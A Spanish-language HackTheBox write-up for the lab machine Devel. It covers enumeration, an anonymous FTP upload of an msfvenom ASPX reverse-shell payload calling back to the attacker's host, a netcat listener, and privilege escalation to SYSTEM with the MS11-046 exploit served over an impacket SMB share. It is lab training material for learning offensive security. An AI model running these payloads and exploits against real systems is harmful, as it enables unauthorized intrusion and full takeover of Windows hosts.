Inicio HTB - Devel
Entrada
Cancelar

HTB - Devel

¡Hola! Vamos a resolver de la máquina Devel de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Abusing FTP + IIS Services
  • Microsoft Windows (x86) – ‘afd.sys’ (MS11-046) [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Devel. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.10.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts

PORT    STATE SERVICE      REASON
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sCV -p21,80 10.10.10.5 -oN targeted

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
❯ whatweb 10.10.10.5

http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]

Vemos que el servicio Web corre bajo IIS 7.5 y en el navegador únicamente vemos la imagen de bienvenida de IIS7

Reconocimiento FTP


En los resultados de nmap vimos como el servicio FTP permite el lgin con usuario Anonymous. Vamos a echar un ojo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:yorch): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
ftp> 

Por los archivos que contiene llegamos a la conclusión de que el contenido de la Web se encuentra alojado en el servicio FTP

Explotación


Ya que tenemos la posibilidad de subir archivos por FTP, vamos a crear un archivo aspx malicioso con la herramienta msfvenom para entablar una reverse shell con la máquina víctima

1
2
3
4
5
6
 msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.91 LPORT=443 -f aspx > shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2741 bytes

Procedemos a subir por FTP el archivo a la máquina víctima

1
2
3
4
5
6
7
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2779 bytes sent in 0.00 secs (94.6522 MB/s)
ftp> 

Nos abrimos un listener por el puerto 443, ejectuamos desde el navegador el archivo malicioso y ya tenemos una shell operativa

1
2
3
4
5
6
7
8
9
10
 sudo nc -nlvp 443
[sudo] password for yorch: 
listening on [any] 443 ...
connect to [10.10.14.91] from (UNKNOWN) [10.10.10.5] 49158
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web

Escalada Privilegios


Empezamos con la enumeración listando privilegios asignados al usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\Users>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Vemos el privilegio SeImpersonatePrivilege donde con la herramienta JuicyPotato podríamos escalar privilegios rápidamente. Puedes consultar los writeups de las máquinas Granny y Grandpa para escalar por esta vía. Esta vez no la haremos con esta técnica por lo que seguimos con la enumeración listando información del sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c:\Users>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 
System Boot Time:          3/11/2022, 4:53:58 
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC

Hacemos una búsqueda por la versión del sistema 6.1.7600 N/A Build 7600 y rápidamente encontramos una vía de escalada para la que utilizaremos el repositorio de GitHub de SecWiki

Nos descargamos el ejecutable en nuestro directorio de trabajo exploits compartimos el recurso a nivel de red con imapcket-smbserver y en la máquina víctima nos dirigimos al directorio tmp, nos descargamos el exploit y lo ejecutamos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ATACANTE
 impacket-smbserver smb $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.5,49163)
[*] AUTHENTICATE_MESSAGE (\,DEVEL)
[*] User DEVEL\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smb)
1
2
3
4
5
#VICTIMA
c:\Windows\Temp>copy \\10.10.14.91\smb\ms11-046.exe ms11-046.exe  
copy \\10.10.14.91\smb\ms11-046.exe ms11-046.exe  
        1 file(s) copied.

Ejecutamos el binario y ya tenemos shell con privilegios de root

1
2
3
4
5
6
c:\Windows\Temp>ms11-046.exe
ms11-046.exe

c:\Windows\System32>whoami
whoami
nt authority\system

Flags


Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando type nos muestra el contenido.

1
2
3
4
5
6
7
8
9
10
11
12
#USER
cd c:\
c:\>dir /r /s user.txt
dir /r /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users\babis\Desktop

cd c:\Users\babis\Desktop
type user.txt
0acf3098baca47798***************
1
2
3
4
5
6
7
8
9
10
11
#ROOT
c:\>dir /r /s root.txt        
dir /r /s root.txt
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users\Administrator\Desktop

cd c:\Users\Administrator\Desktop
type root.txt
cb5e74abceabab8df***************

Hemos completado la máquina Devel de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.